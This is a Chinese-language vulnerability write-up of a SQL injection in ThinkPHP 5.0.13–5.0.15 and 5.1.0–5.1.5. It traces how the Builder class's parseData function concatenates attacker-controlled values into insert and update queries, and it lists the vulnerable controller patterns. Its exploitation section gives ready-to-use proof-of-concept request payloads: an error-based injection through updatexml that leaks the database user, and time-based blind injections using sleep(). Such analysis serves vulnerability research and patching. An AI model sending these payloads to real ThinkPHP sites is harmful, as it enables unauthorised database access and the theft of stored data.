Thinkphp5 sql注入
影響版本:
5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。
0x01漏洞觸發點:
導致這個漏洞的函數為Builder類的parseData函數
這個函數的前半段主要作用為獲取數據表的字段,然后進入一個循環,我們重點看第二個elseif處
這里有三個switch的case,我們可以看到如果$val[0]為exp時,$val[1]會直接拼接到$result中,其余兩種情況則是會經過parseKey()處理之后再拼接上去,我們跟進parseKey()
parseKey()直接返回了$key,那么其實和第一種情況一樣,也是直接將$val[1]拼接到了$result中,此時我們知道,如果$val可控,則$result的值可控。
知道了上述情況后,我們在Builder類里搜索一下,看有什么函數用到了parseData(),經過搜索得出,insert()和update()用到了parseData()
我們可以看到,insert()和update()都是將$data傳入parseData()后直接將結果替換到先前定義好的sql語句中,然后直接返回
我們再在Query類中搜索看看有哪個函數用到了insert()和update(),經過搜索發現,Query類的insert()和update()用了這兩個函數
我們可以看到,$data傳入后經過array_merge()拼接后直接傳入了Builder類的insert()中,上面我們分析過,insert()返回的結果我們是可控的,$options['fetch_sql']值也為空,所以最后sql語句會直接執行,造成注入。同理,update()也會將sql語句直接執行,所以update()也存在注入。
0x02漏洞利用
如果方法的寫法為
$username = request()->get('username/a');
db('admin')->insert(['username' => $username]);
$username = request()->get('username/a');
db('admin')->where("id")->update(['username' => $username]);
或
$username = $_GET['username'];
db('admin')->insert(['username' => $username]);
$username = $_GET['username'];
db('admin')->where("id")->update(['username' => $username]);
等,則存在注入。第二種的payload比第一種多了$val[0]為exp的注入,因為第一種使用了request類中的get()方法,而get()中調用了filterExp(),會在exp后添加空格,這樣就匹配不到case為exp的情況,所以第二種的payload比第一種多了$val[0]為exp的注入。
POC:
s=index/index/sql&username[0]=inc&username[1]=updatexml(1,concat('~',user(),'~'),1)&username[2]=233
或
s=index/index/sql&username[0]=exp&username[1]=updatexml(1,concat('~',user(),'~'),1)&username[2]=233
如果app_debug沒有開的話,可以使用insert和update時間盲注
update:
username[0]=exp&username[1]=%271%27%20and%20if((select%20length(database()))<5,sleep(5),sleep(3))%23&username[2]=233
insert:
?username[0]=exp&username[1]=%271%27%20and%20if((select%20length(database()))<5,sleep(3),sleep(2)))%23&username[2]=233